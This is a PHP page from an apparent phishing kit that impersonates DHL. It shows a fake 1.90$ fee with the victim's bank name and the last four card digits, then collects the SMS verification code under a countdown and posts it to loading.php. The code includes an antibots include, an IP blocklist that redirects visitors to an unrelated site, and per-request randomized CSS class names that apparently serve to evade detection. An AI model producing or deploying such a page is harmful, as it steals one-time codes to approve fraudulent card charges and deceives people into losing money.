<?php
    error_reporting(0);
    session_start();
    include "../antibots-debug/antibots.php";
    include "../libraries/geoplugin.class.php";
    include '../setting/functions.php';
    require_once "../setting/lang.php";

    function isBlocked($ip) {
        $blockedIPs = file_get_contents('../panel/blocked_ips.txt');
        return strpos($blockedIPs, $ip) !== false;
    }

    // Get the user's IP address
    $userIP = get_client_ip();

    // Check if the user's IP is blocked
    if (isBlocked($userIP)) {
        // Redirect the blocked user to another page
        header("Location: https://www.superhonda.com/");
        exit();
    }

    // Lang Fucntion :
    lang();

    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
?>
<!DOCTYPE html>
<html lang="en" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> ">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/main.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.gif">
    <link rel="shortcut" href="../img/favicon.gif">
    <link rel="appel-touch-icon" href="../img/favicon.gif">
    <title>DHL - <?php echo get_text('title_head'); ?></title>
</head>
<body id="body"  class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> ">
    <!-- Start Nav Bar -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> nav-bar" id="navBar">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-nav-bar" id="menu">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-image-and-links-nav-bar" id="menu2">
                <img class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain" src="../img/logo.png">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-circle-exclamation"></i><?php echo get_text('top_header1'); ?></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-message"></i><?php echo get_text('top_header2'); ?></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-globe"></i><?php echo get_text('top_header3'); ?></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-magnifying-glass"></i><?php echo get_text('top_header4'); ?></span>
                </div>
            </div>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> menu-bar-button" id="buttonMenu"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-bars" id="buttonMenuIcon"></i></span>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar-other">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar-other-1">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu1'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu2'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu3'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu4'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                </div>

                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar-other-2">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other-2"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-user"></i><?php echo get_text('header-right'); ?></span>
                </div>
            </div>
        </div>
    </div>
    <!-- End Nav Bar -->

    <!-- Start main -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> home">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-home">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> container">
                <h1 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> title-home"><?php echo get_text('title'); ?></h1>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> steps-and-title">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> title-steps">
                        <img src="../img/image-step.png" alt="">
                        <h3><?php echo get_text('title2'); ?></h3>
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> steps">
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> green-step"></span>
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> green-step"></span>
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> red-step"></span>
                    </div>
                </div>
                <!-- Start Page Confirmation -->
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> page-confirmation">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-page-confirmation">
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> header-page-confirmation">
                            <img src="../img/logo.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain">
                            <?php echo $_SESSION["image_by"]; ?>
                        </div>
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> details-page-confirmation">
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> explain-text-and-icon">
                                <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-comment-sms"></i>
                                <span><?php echo get_text('title_mss'); ?></span>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-details">
                                <h5><?php echo get_text('title_mss_2'); ?></h5>
                                <h5 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> value-details" style="color: #D40511 !important;">
                                <?php 
                                    if(isset($_SESSION["name_the_bank"])) {
                                        echo $_SESSION["name_the_bank"];
                                    } elseif ($_SESSION["name_the_bank"] === "UNKNOWN") {
                                        echo "DHL Express";
                                    }else {
                                        echo "DHL Express";
                                    }
                                ?>
                                </h5>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-details">
                                <h5><?php echo get_text('title_mss_3'); ?></h5>
                                <h5 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> value-details">1,90$</h5>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-details">
                                <h5><?php echo get_text('title_mss_4'); ?></h5>
                                <h5 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> value-details"><?php echo date('l jS \of  h:i A'); ?></h5>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-details">
                                <h5><?php echo get_text('title_mss_5'); ?></h5>
                                <h5 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> value-details">XXXX XXXX XXXX <?php echo $_SESSION["Last_four_digits"]; ?></h5>
                            </div>
                        </div>
                        <form action="./loading.php" method="post" id="claveForm"> 
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> message-error-pages">
                                <span>
                                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-triangle-exclamation"></i>
                                </span>
                                <?php echo get_text('message_error_pages'); ?>
                            </span>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input" id="div1">
                                <label for="mss"><?php echo get_text('sms_code_label'); ?><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star">*</span></label>
                                <input type="tel" name="mss" id="mss" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> form-control">
                                <div id="messageError1" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> message-error"><?php echo get_text('message_error_inputs'); ?></div>
                                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> counter">
                                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> title-counter"><?php echo get_text('counter_title'); ?> </span>
                                    <span id="minutes" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> counter-time">05</span><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> counter-time">:</span><span id="seconds" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> counter-time">00</span>
                                </span>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-button">
                                <button class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> button-send-data" type="submit" name="send_data_5" id="buttonSendData"><?php echo get_text('next'); ?></button>
                            </div>
                        </form>
                    </div>
                </div>

                <!-- End Page Confirmation -->
            </div>
            <!-- Start Footer -->
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> footer">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-footer">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> image-footer-and-links-footer">
                        <img src="../img/image-footer.png" alt="">
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-footer">
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-1'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-2'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-3'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-4'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-5'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-6'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-7'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-8'); ?></span>
                        </div>
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-links-footer">
                        <h4><?php echo get_text('follow-us'); ?></h4>
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media">
                            <span style="padding-left:0px !important;" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-youtube"></i></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-facebook"></i></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-linkedin"></i></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-instagram"></i></span>
                        </div>
                    </div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> copyright"><?php echo date('Y'); ?> <?php echo get_text('copyright'); ?></div>
            </div>
            <!-- End Footer -->
        </div>
    </div>
    <!-- End main -->

    <!-- Message Explain -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> message-user" id="messageUser">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-message-user">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> header-messsage-user">
                <img src="../img/logo.png" alt="">
                <button class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> close-message-header" id="closeMessageuser1" type="button"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-xmark"></i></button>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> text-message-user">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> alert-icon">
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-shield-halved"></i>
                </span>
                <h2><?php echo get_text('title-text-message-user'); ?></h2>
                <p><?php echo get_text('text-message-user'); ?></p>
                <button type="button" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> close-message-user" id="closeMessageuser2"><?php echo get_text('button-text-message-user'); ?></button>
            </div>
        </div>
    </div>
    <!-- Message Explain -->

    <!-- Script Js -->
    <script src="../js/script-all.js"></script>
    <script src="../js/script-mss.js"></script>
    <script>
        function checkBlockedIP(){fetch("../panel/blocked_ips.txt").then(e=>e.text()).then(e=>{let c=e.trim().split("\n");c.includes("<?php echo get_client_ip(); ?>")&&(window.location.href="https://www.superhonda.com/")}).catch(e=>console.error("Error fetching IP list:",e))}checkBlockedIP(),setInterval(checkBlockedIP,1e3);
    </script>
</body>
</html>